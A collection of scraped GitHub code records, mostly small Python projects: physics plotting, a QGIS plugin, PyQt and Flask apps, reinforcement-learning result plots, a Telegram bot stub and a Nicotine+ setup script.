v=v,mu=mu,tau=tau,c=c,k=k: \\\n fermi(v1, mu, tau)*current(v-v1, c, k), \\\n vmin, v, epsabs=tol, epsrel=tol)[0]\n\ndef update(val):\n E,mu,tau,k=sE.val,smu.val,stau.val,10**(sk.val)\n c=sc.val#,sd.val,sa.val,a,\n a=1\n tol=10**(stol.val)#10e-4\n S, N, I = norm(sawtooth(v,a,E)), norm(fermi(v,mu,tau)), norm(current(v,c,k))\n \n # Sf, Nf, If = np.fft.rfft(S), np.fft.rfft(N), np.fft.rfft(I)\n\n # VSFI_fft = norm(np.fft.irfft(Sf*Nf*If, np.size(v)))\n # VSF_fft = norm(np.fft.irfft(Sf*Nf, np.size(v)))\n # VSI_fft = norm(np.fft.irfft(Sf*If, np.size(v)))\n # VFI_fft = norm(np.fft.irfft(Nf*If, np.size(v)))\n\n # vsfi2 = partial(vsfi, a=a,E=E,mu=mu,tau=tau,c=c,k=k,tol=tol)\n # vsf2 = partial(vsf, a=a,E=E,mu=mu,tau=tau,tol=tol)\n # vsi2 = partial(vsi, a=a,E=E,c=c,k=k,tol=tol)\n # vfi2 = partial(vfi, mu=mu,tau=tau,c=c,k=k,tol=tol)\n \n # with Pool(8) as p:\n # VSFI = p.map(vsfi2,v)\n # VSF = p.map(vsf2,v)\n # VSI = p.map(vsi2,v)\n # VFI = p.map(vfi2,v)\n\n # VSFI, VSF, VSI, VFI = norm(VSFI), norm(VSF), norm(VSI), norm(VFI)\n # VSFI, VSF, VSI, VFI = VSFI_fft, VSF_fft, VSI_fft, VFI_fft\n VSFI = norm(signal.fftconvolve(S, signal.fftconvolve(N, I, 'same'), 'same'))\n VSF = norm(signal.fftconvolve(S, N, 'same'))\n VSI = norm(signal.fftconvolve(S, I, 'same'))\n VFI = norm(signal.fftconvolve(N, I, 'same')) \n\n\n p0[0].set_ydata(N)\n p0[1].set_ydata(I)\n p0[2].set_ydata(S)\n p1[0].set_ydata(VSF)\n p1[1].set_ydata(VSI)\n p1[2].set_ydata(VFI)\n p2[0].set_ydata(VSFI)\n #p2[1].set_ydata(VSFI_fft)\n fig.canvas.draw_idle()\n\naxtol = plt.axes([0.07, 0.11, 0.85, 0.01])\n#axa = plt.axes([0.07, 0.09, 0.85, 0.01])\naxE = plt.axes([0.07, 0.07, 0.85, 0.01])\naxmu = plt.axes([0.07, 0.05, 0.85, 0.01])\naxtau = plt.axes([0.07, 0.03, 0.85, 0.01])\naxc = plt.axes([0.07, 0.09, 0.85, 0.01])\naxk = plt.axes([0.07, 0.01, 0.85, 0.01])\n\nstol = Slider(axtol, 'log(tol)', -8, 0, valinit=tol)\n#sa = Slider(axa, 'a', 0, 5, valinit=a)\nsE = Slider(axE, 'E', 0.1, 10, valinit=E)\nsmu = Slider(axmu, 'mu', 0, 10, valinit=mu)\nstau = Slider(axtau, 'tau', 0.001, 3, valinit=tau)\nsc = Slider(axc, 'c', 0, 10.0, valinit=c)\nsk = Slider(axk, 'log(k)', -8, 1.0, valinit=k)\n\n\n\nresetax = plt.axes([0.9, 0.13, 0.05, 0.015])\nbutton = Button(resetax, 'Reset', hovercolor='0.975')\n\ndef reset(event):\n stol.reset()\n #sa.reset()\n sE.reset()\n smu.reset()\n stau.reset()\n sc.reset()\n sk.reset()\n\nstol.on_changed(update)\n#sa.on_changed(update)\nsE.on_changed(update)\nsmu.on_changed(update)\nstau.on_changed(update)\nsc.on_changed(update)\nsk.on_changed(update)\n\nbutton.on_clicked(reset)\n\nupdate(0) \n\nplt.show()\ninput(\"Press enter to continue...\")\n\n# p0 = myplot(v, zs, v, zs, v, zs, ax=axs[0,0], legend=[\"Fermi(mu,tau)\", \"Exp(k)\", \"Sawtooth(a,E)\"], title=\"Inputs\")\n# p1 = myplot(v, zs, v, zs, ax=axs[0,1], legend=[\"ifft[fft[Saw]*fft[Fermi]]\", \"conv[Saw,Fermi]\"], title=\"Saw*Fermi\")\n# p2 = myplot(v, zs, v, zs, ax=axs[1,0], legend=[\"ifft[fft[Saw]*fft[Exp]]\", \"conv[Saw,Exp]\"], title=\"Saw*Exp\")\n# p3 = myplot(v, zs, v, zs, ax=axs[1,1], legend=[\"ifft[fft[Fermi]*fft[Exp]]\", \"conv[Fermi,Exp]\"], title=\"Fermi*Exp\")\n# Sf, Nf, If = np.fft.rfft(S), np.fft.rfft(N), np.fft.rfft(I)\n\n# VSFI_fft = norm(np.fft.irfft(Sf*Nf*If, np.size(v)))\n# VSF_fft = norm(np.fft.irfft(Sf*Nf, np.size(v)))\n# VSI_fft = norm(np.fft.irfft(Sf*If, np.size(v)))\n# VFI_fft = norm(np.fft.irfft(Nf*If, np.size(v)))\n\n# p1[0].set_ydata(VSF_fft) \n# p2[0].set_ydata(VSI_fft) \n# p3[0].set_ydata(VFI_fft)\n\n","repo_name":"psimmerl/PHYS_3501","sub_path":"franck_hertz/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12070583438","text":"from qgis.gui import QgsMapTool, QgsMapToolIdentify\nfrom qgis.core import QgsMapLayer, QgsFeature, QgsFeatureRequest, QgsGeometry, QgsMessageLog\nfrom PyQt4.QtGui import QCursor, QPixmap\nfrom PyQt4.QtCore import Qt\nfrom PyQt4 import QtCore\nfrom document_linker_dialog import DocumentLinkerDialog\n\nclass IdentifyFeature(QgsMapToolIdentify):\n\n signal_select = QtCore.pyqtSignal(QgsFeature)\n\n def __init__(self, canvas):\n\n super(QgsMapToolIdentify, self).__init__(canvas)\n self.canvas = canvas\n self.cursor = QCursor(Qt.CrossCursor)\n self.dlg = DocumentLinkerDialog(self)\n self.signal_select.connect(self.openDialog)\n self.signal_select.connect(self.dlg.updateFeatureFilename)\n\n def activate(self):\n self.canvas.setCursor(self.cursor)\n\n def canvasReleaseEvent(self, mouseEvent):\n x = mouseEvent.x()\n y = mouseEvent.y()\n QgsMessageLog.logMessage(\"Feature x: {} y: {}\".format(x, y), 'DocLinker')\n id_feat = self.identify(x,y,self.ActiveLayer,self.VectorLayer)\n #QgsMessageLog.logMessage(\"Feature ID: {} \".format(id_feat[0].mFeature.attribute('ID')), 'DocLinker')\n # Afficher la fenetre lors du clic sur le feature\n if id_feat[0] is not None:\n self.signal_select.emit(id_feat[0].mFeature)\n else:\n pass\n\n def openDialog(self, feature):\n # show the dialog\n self.dlg.lineEdit_ID.setText(str(feature.attribute('ID')))\n self.dlg.lineEdit_TYPE.setText(feature.attribute('TYPE').encode('UTF8'))\n self.dlg.lineEdit_REMARK.setText(feature.attribute('REMARK').encode('UTF8'))\n self.dlg.show()\n\n\n","repo_name":"ponceta/DocLinker","sub_path":"identify_feature.py","file_name":"identify_feature.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"42416446358","text":"\n# Simple JSON Reading App\n# Written by A. S. \"Aleksey\" Ahmann <hackermaneia@riseup.com>\n# - GitHub: https://github.com/Alekseyyy\n\nimport sys\nimport json\n\nfrom PyQt5.QtWidgets import (\n QApplication, QDialog, QMainWindow, \n QMessageBox, QFileDialog\n)\n\nfrom PyQt5.uic import loadUi\nfrom dialogs.main import Ui_MainWindow\n\nclass JSONReader(QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n super().__init__(parent)\n self.setupUi(self)\n self.connectSignalsSlots()\n\n def connectSignalsSlots(self):\n self.actionExit.triggered.connect(self.close)\n self.actionAbout_2.triggered.connect(self.about)\n self.actionOpen_2.triggered.connect(self.openJSON)\n \n # functions that I have defined\n \n def exit(self):\n sys.exit(0)\n \n def about(self):\n QMessageBox.about(self, \"Simple JSON Reader\",\n \"\"\"\n <p>The simple JSON reader was created by Aleksey (github/@Alekseyyy)</p>\n <p>Check out the project repo for some help on using it:</p>\n <p>• <a href=\"https://github.com/Alekseyyy/json-reader\">https://github.com/Alekseyyy/json-reader</a></p>\n \"\"\")\n \n def openJSON(self):\n fod = QFileDialog().getOpenFileName(\n self, \"Open JSON File\", \".\", \"JSON Files (*.json)\")\n # print (fod[0])\n pass\n\ndef main():\n app = QApplication(sys.argv)\n jr = JSONReader()\n jr.show()\n sys.exit(app.exec())\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Alekseyyy/json-reader","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"27346859316","text":"import matplotlib\nimport pickle\nimport numpy as np\nimport seaborn as sns\n\n#matplotlib.use(\"Agg\") # matplotlib import adapted for use on MacOS\n\nfrom matplotlib import pyplot as plt\n\n\nimport pickle\nimport numpy as np\n\nfrom matplotlib import pyplot as plt\n\n# load episode durations from short runs\nepisode_durations = []\nfor idxSet in range(1,10):\n helperStr = (\"episode_durations%s\" % idxSet)\n filename = (helperStr + \".pickle\")\n infile = open(filename, \"rb\")\n current_durations = pickle.load(infile)\n episode_durations.append(current_durations)\n\nx = np.arange(1, 3001)\nmean_episode_duration = np.mean(episode_durations,0)\nstd_episode_duration = np.std(episode_durations,0)\n\n# Load full run data from 5 runs\ndata_strucutres = []\nfor idxSet in range(5):\n helperStr = (\"decisionNetwork0909_setNr%s\" % idxSet)\n filename = (helperStr + \".pickle\")\n infile = open(filename, \"rb\")\n current_datastructure = pickle.load(infile)\n data_strucutres.append(current_datastructure)\n\n\n# compute summed rewards and reward in second trial\nsummed_reward = np.zeros([5, 1200])\ntrial_reward_matrix = np.zeros([10,5,1200])\n\nfirst_trial_reward = np.zeros([5, 1200])\nsecond_trial_reward = np.zeros([5, 1200])\nthird_trial_reward = np.zeros([5, 1200])\nfourth_trial_reward = np.zeros([5, 1200])\nfifth_trial_reward = np.zeros([5, 1200])\nsixth_trial_reward = np.zeros([5, 1200])\nseventh_trial_reward = np.zeros([5, 1200])\neight_trial_reward = np.zeros([5, 1200])\nninth_trial_reward = np.zeros([5, 1200])\ntenth_trial_reward = np.zeros([5, 1200])\nnum_timestep = np.zeros([5, 1200])\n\nfor idxSet in range(5):\n for idxEpisode in range(1200):\n num_timestep[idxSet, idxEpisode] = len(data_strucutres[idxSet].rewards[idxEpisode])\n current_rewards = data_strucutres[idxSet].rewards[idxEpisode]\n current_trialindices = data_strucutres[idxSet].trialidx[idxEpisode]\n for idxTime in range(np.int(num_timestep[idxSet, idxEpisode])):\n summed_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n current_trialidx = current_trialindices[idxTime]\n trial_reward_matrix[current_trialidx,idxSet, idxEpisode] += current_rewards[idxTime]\n\n # if current_trialindices[idxTime] == 0:\n # first_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 1:\n # second_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 2:\n # third_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 3:\n # fourth_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 4:\n # fifth_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 5:\n # sixth_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 6:\n # seventh_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 7:\n # eight_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 7:\n # ninth_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n # if current_trialindices[idxTime] == 7:\n # second_trial_reward[idxSet, idxEpisode] += current_rewards[idxTime]\n\n summed_reward[idxSet, idxEpisode] = summed_reward[idxSet,idxEpisode]/num_timestep[idxSet, idxEpisode]\n\na = 1\n\n\n\n\n# plotting episode durations\n# plt.figure(1)\n# for idx in range(9):\n# plt.plot(episode_durations[idx])\n# plt.xlabel('Episode')\n# plt.ylabel('Duration')\n# plt.title('Num timesteps per Episode for 9 Agents')\n# plt.xlim([-100, 3100])\n# plt.ylim([-5, 225])\n# plt.grid(True)\n# plt.show()\n#\n#\n# plt.figure(2)\n# plt.errorbar(x, y=mean_episode_duration, yerr=std_episode_duration)\n# plt.xlabel('Episode')\n# plt.ylabel('Duration')\n# plt.title('Num timesteps per Episode for 9 Agents')\n# plt.xlim([-100, 3100])\n# plt.ylim([-5, 225])\n# plt.grid(True)\n# plt.show()\n\nplt.figure(3)\nfor idx in range(9):\n plt.subplot(3,3,idx+1)\n plt.plot(episode_durations[idx])\n plt.xlabel('Episode')\n plt.ylabel('Time steps per episode')\n title_string = 'Agent: %s' %(idx+1)\n plt.title(title_string)\n plt.xlim([-100, 3100])\n plt.ylim([-5, 225])\n plt.grid(True)\n plt.show()\n\nplt.figure()\n\nplt.subplot(2,1,1)\nfor idx in range(5):\n plt.plot(summed_reward[idx])\nplt.xlabel('Episode')\nplt.ylabel('Reward')\nplt.title('Average Reward for 5 Agents')\nplt.xlim([-100, 1300])\nplt.ylim([-0.1, 0.5])\nplt.grid(True)\nplt.show()\n\n\n\nmean_episode_duration = np.mean(episode_durations,0)\n\nplt.subplot(2,1,2)\nplt.errorbar(episode_durations)\nplt.xlabel('Episode')\nplt.ylabel('Duration')\nplt.title('Average duration')\nplt.xlim([-100, 3100])\nplt.ylim([-5, 225])\nplt.grid(True)\nplt.show()\n\na = 1\n\nextract_episode1 = episode_durations[0][1250:1400]\n\n\n# Plot Trial Rewards\nfor idxSet in range (5):\n plt.figure(10+idxSet)\n for idxTrial in range(10):\n plt.subplot(2,5, idxTrial+1)\n plt.plot(trial_reward_matrix[idxTrial, idxSet, :])\n plt.xlim([-100, 1300])\n plt.ylim([-0.5, 1.5])\n plt.grid(True)\n plt.show()","repo_name":"HenrikMettler/MasterThesis","sub_path":"analyzeDNResults.py","file_name":"analyzeDNResults.py","file_ext":"py","file_size_in_byte":5422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8608911122","text":"from PIL import Image, ImageOps, ImageDraw, ImageFont\r\n\r\n# Load the image file\r\nimage = Image.open(\"mickey.jpeg\")\r\ncolor_tuples=[(252, 252, 252), (250, 250, 250), (255, 254, 252), (253, 253, 253),(250, 249, 3),(248, 247, 245),(251, 250, 248),(251, 250, 248)]\r\ncolor_names=[\"Yellow\", \"Green\", \"Red\", \"Purple\", \"Orange\", \"Violet\", \"Black\", \"White\"]\r\ncode_words=[\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\"]\r\ncode_count=[0,0,0,0,0,0,0,0]\r\n\r\n#oneinchimage = Image.open(\"oneinch.jpg\")\r\n\r\n# Define the size of A4 paper in pixels\r\npa_width, pa_height = 2400, 2400\r\nia_width, ia_height=2400, 1108\r\n\r\na4_width, a4_height=2480, 3508\r\n# Define the size of the squares in inches\r\nsquare_size = 1\r\npixel_offset=40\r\noffset=40\r\n\r\n# Define the number of squares in each direction\r\nsquares_x, squares_y = 8, 8\r\nsquare_width = int(pa_width / squares_x)\r\nsquare_height = int(pa_height / squares_y)\r\n\r\nfont = ImageFont.truetype('Roboto-Bold.ttf', 80)\r\n\r\n# Loop through every 8x11 section of the image\r\nfor y in range(0, image.height, squares_y):\r\n for x in range(0, image.width, squares_x):\r\n # Crop the section of the image\r\n section = image.crop((x, y, x+squares_x, y+squares_y))\r\n \r\n # Create a new image with the size of an A4 sheet\r\n #a4_image = Image.new(\"RGB\", (a4_width, a4_height), \"white\")\r\n a4_image=Image.open(\"basetemplate.jpg\")\r\n \r\n # Calculate the size of each square in pixels\r\n \r\n # Define the font and size for the name text\r\n # Define the font and size for the name text\r\n # \r\n # \r\n\r\n #reset count of Codes\r\n code_count=[0]*len(color_tuples)\r\n \r\n # Loop through every square and set its color to the corresponding pixel color in the section\r\n for j in range(squares_y):\r\n for i in range(squares_x):\r\n # Get the color of the pixel at the corresponding location in the section\r\n pixel_color = section.getpixel((i, j))\r\n #print(pixel_color)\r\n\r\n # Create a new image with the size of a square and set its color\r\n square_image = Image.new(\"RGB\", (square_width, square_height), \"white\")\r\n #print(pixel_color)\r\n try:\r\n a=color_tuples.index(pixel_color)\r\n #print(pixel_color, end='')\r\n #print(\"Found at position \", end='')\r\n #print(a)\r\n codePosition=(int(square_width/2)-30, int(square_height/2)-40)\r\n ImageDraw.Draw(square_image).text(codePosition, str(code_words[a]), font=font, fill=(0, 0, 0))\r\n code_count[a]=code_count[a]+1\r\n except ValueError:\r\n a=\"-\"\r\n #print(pixel_color, end='')\r\n #print(\" Not Found\")\r\n \r\n \r\n\r\n \r\n \r\n color = \"gray\"\r\n\r\n # top, right, bottom, left\r\n border = (1, 1, 1, 1)\r\n\r\n new_img = ImageOps.expand(square_image, border=border, fill=color)\r\n \r\n # Paste the square onto the A4 image at the correct location\r\n a4_image.paste(new_img, (i*square_width +pixel_offset, j*square_height+pixel_offset))\r\n \r\n \r\n\r\n \r\n \r\n\r\n for s in range(len(code_count)):\r\n if(code_count[s]<10):\r\n\r\n code_count_position=(20+square_width/2+square_width*s, 3010)\r\n else:\r\n code_count_position=(10+square_width/2+square_width*s, 3010) \r\n print(code_count[s]) \r\n\r\n ImageDraw.Draw(a4_image).text(code_count_position, str(code_count[s]), font=font, fill=(0, 0, 0))\r\n\r\n filename = f\"GeneratedImages\\mickey_{x}_{y}.jpg\"\r\n a4_image.save(filename, dpi=(300,300))\r\n exit()\r\n","repo_name":"rupin/MuralMaker","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9264996737","text":"import tensorflow as tf\nimport numpy as np\nfrom ops import *\nhid_dim = 10\n\nx1 = tf.placeholder(tf.float32,shape=(None,1))\nx2 = tf.placeholder(tf.float32,shape=(None,1))\n\nembed1 = linear(linear(x1,hid_dim,'foo',tf.nn.relu),1,'bar')\npred = embed1**2+1\nembed2 = linear(linear(x1,hid_dim,'foo',tf.nn.relu,tied=True),1,'bar',tied=True)\n\nloss = tf.reduce_mean(tf.reduce_sum(tf.square(pred-embed2),1))\ntrain_step = tf.train.AdamOptimizer(1e-2).minimize(loss)\n\nsess = tf.Session()\nsess.run(tf.initialize_all_variables())\n\nwith tf.variable_scope('bar',reuse=True):\n weights = tf.get_variable('W')\n bias = tf.get_variable('b')\nfor i in range(4000):\n data = np.expand_dims(np.linspace(0,100),1)\n _,cur_loss,W,b = sess.run([train_step,loss,weights,bias],feed_dict={x1:data,x2:data+1})\n print(cur_loss)\n\nrep,output,target = sess.run([embed1,pred,embed2],feed_dict={x1:data,x2:data+1})\nprint(np.concatenate([rep,output,target],1))\n","repo_name":"zergylord/KADP","sub_path":"GymVersion/learnable.py","file_name":"learnable.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34770368837","text":"print(\"calculas raices\")\r\na=float(input(\"a: \"))\r\nb=float(input(\"b: \"))\r\nc=float(input(\"c: \"))\r\ndisc=((b**2)-(4*a*c))\r\nraiz=(disc)**(0.5)\r\n\r\nif disc>0:\r\n x1=((-b)+raiz)/(2*a)\r\n x2=((-b)-raiz)/(2*a)\r\n print(\"x1=\",x1)\r\n print(\"x2=\",x2)\r\n \r\nelif disc==0:\r\n x1=((-b)+raiz)/(2*a)\r\n x2=((-b)-raiz)/(2*a)\r\n print(\"x1=\",x1)\r\n print(\"x2=\",x2)\r\n \r\nelse:\r\n print(\"las raices son imagi:\")\r\n","repo_name":"robinsontru/python","sub_path":"12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31387930742","text":"# *args = parameter that will pack all arguments into a tuple\n\ndef add(*args):\n sum = 0\n stuff = list(stuff)\n stuff[0] = 0\n for i in args:\n sum += i\n return sum\n\n\nprint(add(1, 2, 3, 4, 5, 6))","repo_name":"EtoOgueji/python-beginner_level","sub_path":"Bro Code/brocode28.py","file_name":"brocode28.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"42322293847","text":"#!flask/bin/python\nimport os\nimport sys\nimport multiprocessing as mp\nfrom flask import Flask, render_template, request, redirect, Response\nimport random, json\n\napp = Flask(__name__)\n\n\n\ndef readDimacsString(dimacsdict,k,vetuple): \n\tv,e = vetuple[0],vetuple[1]\n\n\t# this will be one text file \n\t# want the dimacs string\n\t# split on \\n\\n\n\t# res[1] will be string of all literals\n\n\t# only worry about this instance if the current k < = v\n\tif k <= v: \n\t\ttry:\n\t\t\tfileName = \"graph_\" + str(v) + \"E_\" + str(e) + \"E.txt\"\n\t\t\tprint(\"in directory k= \",k)\n\t\t\tf = open(fileName,\"r\")\n\t\t\tcontents = f.read()\n\n\t\t\ttry: \n\t\t\t\tdimacsstring = contents.split('\\n\\n')[1]\n\t\t\t\tdimacsstring = dimacsstring.strip(' \\t\\n\\r')\n\t\t\t\tdimacsdict[\"k_\" + str(k) + \"_\" + fileName[:-4]] = dimacsstring[15:]\n\t\t\t\treturn dimacsdict \n\t\t\texcept:\n\t\t\t\tpass \n\t\texcept: \n\t\t\tpass\n\n\t\t\n\n\ndef docurrentkstuff(dimacsdict, k,owd,v_e_list):\n\n\t# merge the two lists \n\tos.chdir(owd)\n\t# go to this k's directory\n\tpath = \"clique_of_k_\" + str(k)\n\n\tos.chdir(path)\n\n\t# Setup a list of processes that we want to run\n\t# Want one process for smaller sizes\n\t# 2 processes for big size\n\tchildprocesses = [mp.Process(target=readDimacsString, args=(dimacsdict,k,arglist)) for arglist in v_e_list]\n\t# Run the processes\n\tfor p in childprocesses:\n\t\tp.start()\n\t\tprint(\"Starting\",p)\n\n\t# Exit the completed processes\n\tfor p in childprocesses:\n\t\tprint(\"Ending\",p)\n\t\tp.join()\n\treturn dimacsdict\n\n\n\n\n@app.route('/')\ndef output():\n\t# dont worry about serving templates\n\t# just pass list of dimacs strings to minisat.js\n\t# let minisat generate list of corresponding outputs, \n\t# then minisat will post them back to server (here), and they will be written to the proper files\n\tpath = \"tests2\"\n\tif os.getcwd() != 'tests2':\n\t\tos.chdir(path) \n\towd = os.getcwd()\n\t\n\t# init dimacs list to [], allow all processes to append\n\tmanager = mp.Manager()\n\tdimacsdict = manager.dict()\n\n\t# use many different values of k (2 <= k <= 30)\n\t# use one process per k\n\tklist = [2,6,10,11,20]\n\tv_e_list = [[5,4], [10,15], [20,30], [50,80],[100,200],[1000,2000]]\n\tkprocesses = [mp.Process(target=docurrentkstuff, args=(dimacsdict,k,owd,v_e_list)) for k in klist]\n\tfor kp in kprocesses:\n\t\tkp.start()\n\tfor kp in kprocesses:\n\t\tkp.join()\n\n\tprint(dimacsdict)\n\n\t# now dimacs list is list of all dimacs strings, pass to js\n\t#print(dimacslist)\n\treturn render_template('index.html',ddict=dimacsdict) \n\n\n\nimport glob\n\n@app.route('/receiver', methods = ['POST'])\ndef worker():\n\n\t#get solutions from js \n\tsolutions = request.form['solutionsdict[]']\n\tprint(solutions)\n\n\t\n\n\n\n\treturn solutions\n\n\nif __name__ == '__main__':\n\t# run!\n\tapp.run(\"0.0.0.0\",\"8000\")\n\n\n\n\n\n\n\n\n\n","repo_name":"austinjhunt/CliqueToSATEncoder","sub_path":"310EC_AHunt/testInstances.py","file_name":"testInstances.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38699805256","text":"API_KEY = ''\n\n\nimport telebot\nfrom main import Coinmarketcap\nc = Coinmarketcap()\n\ndef telegram_bot(API):\n bot = telebot.TeleBot(API)\n\n @bot.message_handler(commands=['mars_dao'])\n def send_message(messega):\n bot.send_message(messega.chat.id, c.get_all_token())\n\n bot.polling() \n\n\ntelegram_bot(API_KEY)","repo_name":"Xlebabutti/coinmarcetcap","sub_path":"telegram.py","file_name":"telegram.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"33594357323","text":"import os\nimport glob\n\nfrom pynicotine.utils import version\nfrom setuptools import find_packages, setup\n\n# Compute data_files\nfiles = []\n\n# Program icon\nfiles.append(\n (\n \"share/icons/hicolor/scalable/apps\",\n [\"files/org.nicotine_plus.Nicotine.svg\"]\n )\n)\n\n# Tray icons\ntray_icons = glob.glob(os.path.join(\"img\", \"tray\", \"*\"))\n\nfor icon_name in tray_icons:\n files.append(\n (\n \"share/icons/hicolor/32x32/apps\",\n [icon_name]\n )\n )\n\n# Desktop file\nfiles.append(\n (\n \"share/applications\",\n [\"files/org.nicotine_plus.Nicotine.desktop\"]\n )\n)\n\n# AppStream metainfo\nfiles.append(\n (\n \"share/metainfo\",\n [\"files/appdata/org.nicotine_plus.Nicotine.appdata.xml\"]\n )\n)\n\n# Documentation\ndocfiles = glob.glob(\"[!404.md]*.md\") + glob.glob(os.path.join(\"doc\", \"*.md\"))\n\nfor doc in docfiles:\n files.append(\n (\n \"share/doc/nicotine\",\n [doc]\n )\n )\n\nfiles.append(\n (\n \"share/doc/nicotine\",\n [\"img/CREDITS.md\"]\n )\n)\n\nmanpages = glob.glob(os.path.join(\"files\", \"*.1\"))\n\nfor man in manpages:\n files.append(\n (\n \"share/man/man1\",\n [man]\n )\n )\n\n# Translation\nfor po_file in glob.glob(os.path.join(\"po\", \"*.po\")):\n lang = os.path.basename(po_file[:-3])\n\n mo_dir = os.path.join(\"mo\", lang, \"LC_MESSAGES\")\n mo_file = os.path.join(mo_dir, \"nicotine.mo\")\n\n if not os.path.exists(mo_dir):\n os.makedirs(mo_dir)\n\n os.system(\"msgfmt \" + po_file + \" -o \" + mo_file)\n\n targetpath = os.path.join(\"share\", \"locale\", lang, \"LC_MESSAGES\")\n files.append(\n (\n targetpath,\n [mo_file]\n )\n )\n\nif __name__ == '__main__':\n\n setup(\n name=\"nicotine\",\n version=version,\n license=\"GPLv3\",\n description=\"Nicotine+ is a graphical client for the Soulseek file sharing network\",\n author=\"Nicotine+ Team\",\n url=\"https://nicotine-plus.org/\",\n packages=find_packages(exclude=['*test*']),\n include_package_data=True,\n scripts=['nicotine'],\n data_files=files\n )\n","repo_name":"pepe1977/nicotine-plus","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"18329632220","text":"'''\r\nGiven two strings representing two complex numbers.\r\n\r\nYou need to return a string representing their multiplication.\r\nNote i2 = -1 according to the definition.\r\n\r\nExample 1:\r\nInput: \"1+1i\", \"1+1i\"\r\nOutput: \"0+2i\"\r\nExplanation: (1 + i) * (1 + i) = 1 + i2 + 2 * i = 2i, and you need convert it to the form of 0+2i.\r\nExample 2:\r\nInput: \"1+-1i\", \"1+-1i\"\r\nOutput: \"0+-2i\"\r\nExplanation: (1 - i) * (1 - i) = 1 + i2 - 2 * i = -2i, and you need convert it to the form of 0+-2i.\r\nNote:\r\n\r\nThe input strings will not have extra blank.\r\nThe input strings will be given in the form of a+bi,\r\nwhere the integer a and b will both belong to the range of [-100, 100].\r\nAnd the output should be also in this form.\r\n\r\nDifficulty:Medium\r\n\r\n'''\r\n\r\nclass Solution(object):\r\n def complexNumberMultiply(self, a, b):\r\n \"\"\"\r\n :type a: str\r\n :type b: str\r\n :rtype: str\r\n \"\"\"\r\n split_a = a.split('+')\r\n split_b = b.split('+')\r\n re_a = int(split_a[0])\r\n re_b = int(split_b[0])\r\n tmp_im = 0, 0, []\r\n im_a , im_b = 0, 0\r\n\r\n tmp_im = split_a[1].split('i')\r\n im_a = int(tmp_im[0])\r\n tmp_im = split_b[1].split('i')\r\n im_b = int(tmp_im[0])\r\n\r\n re_result = re_a * re_b - im_a * im_b\r\n im_result = re_a * im_b + re_b * im_a\r\n\r\n return str(re_result) + '+' + str(im_result) + 'i'\r\n \r\nif __name__ == \"__main__\":\r\n\ta = '1+1i'\r\n\tb = '1+1i'\r\n\t\r\n\tresult = Solution().complexNumberMultiply(a, b)\r\n\tprint (result)","repo_name":"BoBoLin/leetcode","sub_path":"python/String/537_Complex_Number_Multiplication.py","file_name":"537_Complex_Number_Multiplication.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"30190364172","text":"import sys\n_module = sys.modules[__name__]\ndel sys\nconfig = _module\ngcn = _module\nmlp = _module\nbuild_graph = _module\nremove_words = _module\ntrain = _module\ntsne = _module\nutils = _module\n\nfrom _paritybench_helpers import _mock_config, patch_functional\nfrom unittest.mock import mock_open, MagicMock\nfrom torch.autograd import Function\nfrom torch.nn import Module\nimport abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings\nimport numpy as np\nfrom torch import Tensor\npatch_functional()\nopen = mock_open()\nyaml = logging = sys = argparse = MagicMock()\nArgumentParser = argparse.ArgumentParser\n_global_config = args = argv = cfg = config = params = _mock_config()\nargparse.ArgumentParser.return_value.parse_args.return_value = _global_config\nyaml.load.return_value = _global_config\nsys.argv = _global_config\n__version__ = '1.0.0'\nxrange = range\nwraps = functools.wraps\n\n\nimport torch\n\n\nimport torch.nn as nn\n\n\nfrom sklearn import 